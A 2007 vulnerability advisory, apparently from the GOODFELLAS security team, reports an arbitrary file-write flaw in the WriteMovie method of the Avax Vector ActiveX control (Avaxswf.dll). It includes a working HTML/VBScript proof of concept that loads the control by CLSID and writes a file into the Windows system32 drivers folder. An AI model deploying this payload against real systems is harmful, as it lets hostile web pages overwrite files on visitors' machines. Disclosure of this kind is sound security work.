:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:
Internal ID: VULWAR200706264
Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3
software package from the Company Civitech.
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500
properties, methods, and events to provide full control over vector
drawings. One of the Avaxswf.dll exported methods is vulnerable to Data
write arbitrary in a remote computer.
The WriteMovie method doesn't check if it is being called from the
application or from a malicious user.
The vulnerability is due to an error in WriteMovie method that
manipulate local files insecurely, which could allow malicious users to
write arbitrary data to any file on a vulnerable system.
June 26, 2007 – Bug discovery.
June 26, 2007 – Bug published.
WriteMovie method receives one argument filename in this format
"c:\path\file".
<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A'
id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">
<script language = 'vbscript'>
sub Boom()
f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"
wRit3.WriteMovie f1l3
End Sub
</script>
–
GOODFELLAS (Shellcode Security Research)
http://goodfellas.shellcode.com.ar